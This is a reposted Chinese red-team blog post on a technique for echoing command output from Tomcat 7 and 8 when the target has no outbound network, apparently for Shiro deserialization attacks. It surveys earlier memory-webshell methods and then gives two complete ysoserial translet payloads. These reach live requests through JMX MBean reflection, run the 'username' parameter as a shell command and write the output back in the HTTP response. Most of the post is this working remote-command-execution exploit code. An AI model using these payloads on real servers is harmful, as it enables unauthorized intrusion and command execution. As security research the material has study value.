转载

tomcat不出网回显连续剧第六集

这周回顾了一下我看到的前人关于tomcat回显和无文件webshell的文章。发现各个师傅的方法各有优劣,下面简单总结一下(总结不对的地方还请各位师傅指出)。

  • 基于内存 Webshell 的无文件攻击技术研究 ,观星大哥的文章,通杀spring,能解决实战只能够遇到的大部分情况了。
  • Tomcat中一种半通用回显方法 ,这篇文章讲了通过反射修改ApplicationFilterChain参数来让tomcat再下一次请求的时候在线程中缓存req和resp,不足之处在于shiro无法回显。
  • 基于tomcat的内存 Webshell 无文件攻击技术 ,通过上一篇的方法获取到req进一步获取context,然后动态注册filter,不足之处在于使用的是上一篇的获取req的思路所以也无法shiro回显。
  • 基于全局储存的新思路 | Tomcat的一种通用回显方法研究 ,这篇文章通过currentThread.getContextClassLoader()获取StandardContext,进一步获取到response,解决了shiro回显的问题,不足在于tomcat7中无法获取到StandardContext。
  • 基于Tomcat无文件Webshell研究 ,总结上面文章的方法,不足之处在于无法解决tomcat7+shiro的问题。

所以这里提出一种新的回显方案解决一下tomcat7+shiro这个阴暗的角落(经测试tomcat8仍然适用)。

测试环境:macos+tomcat7,8+shiro-simple-web

再看register

在上面提到的第四篇文章中提到包含有request(有了request就有response)的rp会被储存在global中,但其实再往下看会发现rp被注册进了组件。

tomcat不出网回显连续剧第六集

既然注册进去了肯定存放在哪里的,接下来动静结合调代码找就好了,代码跟踪过于冗长而且我也没细细探究每一步的意义,就不装模作样的分析了,这里直接给结论。

tomcat不出网回显连续剧第六集

通过idea的计算功能我们可以符合直觉的拿到response,实际想获取还是需要各种反射的。tomcat7,8获取这条链的方式大同小异,变化之处在于 name="http-bio-8888",type=GlobalRequestProcessor ,其中8888是tomcat服务端端口,在tomcat8里面bio变为nio。关于 bio,nio的细节可以参考这篇文章 。

除此之外在实际场景下会有很多requests是要遍历processors中的各个requests。

demo代码

tomcat8的demo

package ysoserial;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.coyote.Request;
import org.apache.tomcat.util.buf.ByteChunk;
import org.apache.tomcat.util.modeler.Registry;
import javax.management.MBeanServer;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Scanner;

public class tomcat82 extends AbstractTranslet {
    public tomcat82() {
        try{
            MBeanServer mbeanServer = Registry.getRegistry((Object)null, (Object)null).getMBeanServer();
            Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
            field.setAccessible(true);
            Object obj = field.get(mbeanServer);

            field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
            field.setAccessible(true);
            obj = field.get(obj);

            field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");
            field.setAccessible(true);
            HashMap obj2 = (HashMap)field.get(obj);
            obj = ((HashMap)obj2.get("Catalina")).get("name=/"http-nio-8888/",type=GlobalRequestProcessor");

            field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
            field.setAccessible(true);
            obj = field.get(obj);

            field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
            field.setAccessible(true);
            obj = field.get(obj);

            field = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
            field.setAccessible(true);
            ArrayList obj3 = (ArrayList)field.get(obj);

            field = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
            field.setAccessible(true);

            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }

            for (int i = 0; i < obj3.size(); i++) {
                Request obj4 = (Request) field.get(obj3.get(i));
                String username = obj4.getParameters().getParameter("username");
                if(username != null){
                    String[] cmds = isLinux ? new String[]{"sh", "-c", username} : new String[]{"cmd.exe", "/c",  username};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("//a");
                    String output = "";
                    while (s.hasNext()){
                        output += s.next();
                    }

                    byte[] buf = output.getBytes();
                    ByteChunk bc = new ByteChunk();
                    bc.setBytes(buf, 0, buf.length);
                    obj4.getResponse().doWrite(bc);
                    break;
                }
            }

        } catch (Exception e){
        }
    }
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

tomcat7的demo

package ysoserial;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.coyote.Request;
import org.apache.tomcat.util.buf.ByteChunk;
import org.apache.tomcat.util.modeler.Registry;

import javax.management.MBeanServer;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Scanner;

public class tomcat72 extends AbstractTranslet {
    public tomcat72(){
        try{

            MBeanServer mbeanServer = Registry.getRegistry((Object)null, (Object)null).getMBeanServer();
            Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
            field.setAccessible(true);
            Object obj = field.get(mbeanServer);

            field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
            field.setAccessible(true);
            obj = field.get(obj);

            field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");
            field.setAccessible(true);
            HashMap obj2 = (HashMap)field.get(obj);
            obj = ((HashMap)obj2.get("Catalina")).get("name=/"http-bio-8888/",type=GlobalRequestProcessor");

            field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
            field.setAccessible(true);
            obj = field.get(obj);

            field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
            field.setAccessible(true);
            obj = field.get(obj);

            field = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
            field.setAccessible(true);
            ArrayList obj3 = (ArrayList)field.get(obj);

            field = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
            field.setAccessible(true);

            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }

            for (int i = 0; i < obj3.size(); i++) {
                Request obj4 = (Request) field.get(obj3.get(i));
                String username = obj4.getParameters().getParameter("username");
                if(username != null){
                    String[] cmds = isLinux ? new String[]{"sh", "-c", username} : new String[]{"cmd.exe", "/c",  username};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("//a");
                    String output = "";
                    while (s.hasNext()){
                        output += s.next();
                    }

                    byte[] buf = output.getBytes();
                    ByteChunk bc = new ByteChunk();
                    bc.setBytes(buf, 0, buf.length);
                    obj4.getResponse().doWrite(bc);
                    break;
                }
            }
        } catch (Exception e) {
//            System.out.println("=======================");
//            System.out.println(e);
        }
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

另外如果有师傅在复现的时候发现header超长,可以参考 缩小ysoserial payload体积的几个方法 。(也可以参考长亭师傅给的修改header头的思路,实际弄走的时候也许会遇到一些坑)

tomcat7+simple-shiro-web成功复现

tomcat不出网回显连续剧第六集

最后

感谢大师傅们开源的自己的思路,学到很多。其次在研究这种方法的时候发现还有其他很多MBean,也许还有很多好玩的东西?

原文  http://redteam.today/2020/04/09/tomcat不出网回显连续剧第六集/
正文到此结束
Loading...